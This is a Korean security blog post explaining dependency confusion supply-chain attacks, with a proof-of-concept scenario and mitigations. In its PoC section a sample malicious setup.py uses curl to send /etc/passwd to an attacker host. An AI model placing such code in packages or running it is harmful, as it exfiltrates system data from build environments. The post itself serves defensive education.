본문 바로가기
1. 최신 보안동향 기술 분석

[위험도 상] 종속성 혼동(Dependency Confusion) 공격이란? (공급망 공격)

by Robert8478 2025. 4. 22.
728x90

공급망을 노리는 사이버 공격은 OWASP Top 10 A08 항목으로 구분될 정도로 중요한 보안 위협으로 분류된다. 과거에는 내부 시스템 침투가 주요 공격 벡터였지만, 현재는 개발 생태계를 구성하는 외부 요소, 즉 서드파티 라이브러리, 패키지 관리자, CI/CD 파이프라인 등으로 공격 범위가 확장되고 있다. 특히 최근에는 Dependency Confusion이라는 새로운 공격 기법이 발표되며 다수의 글로벌 기업이 영향을 받은 바 있다. 본 글에서는 Dependency Confusion 공격의 개념과 실제 사례, 대응 방안을 기술한다.

참고 Hacktivity : https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643

1. 개요 (Introduction)

Dependency Confusion은 패키지 매니저의 패키지 검색 우선순위를 악용하여, 내부에서만 사용되던 패키지 이름과 동일한 이름의 악성 패키지를 외부 저장소에 등록함으로써 내부 시스템에 악성 코드를 주입하는 공격 기법이다.

이 기법은 2021년 한 보안 연구원으로 인해 발견되었는데, 수많은 대기업을 상대로 사전 승낙 없는 POC를 진행하면서 주목을 받았다. 당시 Apple, Microsoft, PayPal, Netflix, Yelp 등 글로벌 기업 수십 곳이 실제 영향을 받았으며, 이들로부터 합법적인 버그 바운티를 통해 보상까지 받은 사례로 기록되었다.

공격자는 조직 내부에서 사용하는 패키지 이름을 식별한 후, 해당 이름을 가진 악성 패키지를 npm, PyPI 등 공개 저장소에 등록하고 높은 버전 번호를 부여한다. 패키지 관리 도구는 이를 정상 패키지로 인식하여 설치하며, 이 과정에서 악성 코드가 실행된다.


2. POC (Proof of Concept)

다음은 실제 공격 시나리오를 기반으로 구성한 POC이다.

  1. 대상 기업 A는 내부용 패키지 internal-auth-utils를 사용 중이다. 이 패키지는 사내 전용 저장소에만 존재한다.
  2. CI/CD 환경에서 npm install 또는 pip install 명령어가 실행될 때, 저장소 우선순위 설정이 명확하지 않거나 외부 저장소 접근이 허용되어 있다.
  3. 공격자는 internal-auth-utils라는 동일한 이름의 패키지를 npm에 업로드하고, 버전을 999.0.0과 같이 과도하게 높게 설정한다.
  4. 패키지 매니저는 버전 우선 로직에 따라 외부 저장소의 패키지를 설치한다.
  5. 결과적으로, 공격자가 삽입한 악성 코드가 조직 내부 빌드 환경에서 실행된다.
 
# PyPI에 업로드된 악성 패키지의 setup.py 예시
import os
os.system(
"curl http://attacker.io/exfil --data-binary @/etc/passwd")

3. 대응 방안 (Mitigation)

Dependency Confusion에 대한 대응은 명확한 정책 수립과 환경 설정을 통해 가능하다. 다음은 주요 대응 방안이다.

1. 저장소 우선순위 명시

패키지 매니저 설정을 통해 내부 저장소가 항상 우선적으로 참조되도록 명확히 설정해야 한다. 예를 들어, pip의 경우 --index-url을 내부 저장소로 지정하고, --no-deps 옵션을 활용하여 외부 의존성 설치를 제한해야 한다.

2. 패키지 이름 등록 선점

조직에서 사용하는 모든 내부 패키지 이름을 외부 저장소에 미리 등록하거나, 최소한 동일한 이름이 외부에 존재하지 않는지 정기적으로 확인해야 한다.

3. 고유 네이밍 전략 적용

내부 패키지에는 고유 접두사 또는 네임스페이스를 적용한다. 예를 들어 @corp/auth-utils 형태로 구조화하면 외부 저장소와의 충돌 가능성을 줄일 수 있다.

4. 설치 무결성 검증

모든 패키지 설치 과정에서 해시 기반 검증 또는 서명 기반 패키지 시스템을 도입해야 한다. 이를 통해 신뢰할 수 있는 패키지 소스만이 설치되도록 제한할 수 있다.

 


4. 결론

Dependency Confusion은 간단한 원리로 작동하지만, 그 피해는 심각하다. 패키지 관리 시스템이 자동화되고 광범위하게 사용되는 환경일수록 이 공격의 위력은 더욱 커진다. 공격자는 내부 패키지 목록 하나만 확보하면 손쉽게 조직 내부 환경에 악성 코드를 주입할 수 있다.

조직은 이러한 공격 벡터를 단순한 개발 편의성 문제로 간과해서는 안 된다. Dependency Confusion은 개발자와 보안 담당자 모두가 협업하여 방어 전략을 수립해야 하는 구현 단계의 보안 위협이다. 즉각적인 환경 점검과 정책 강화가 필요하다.

728x90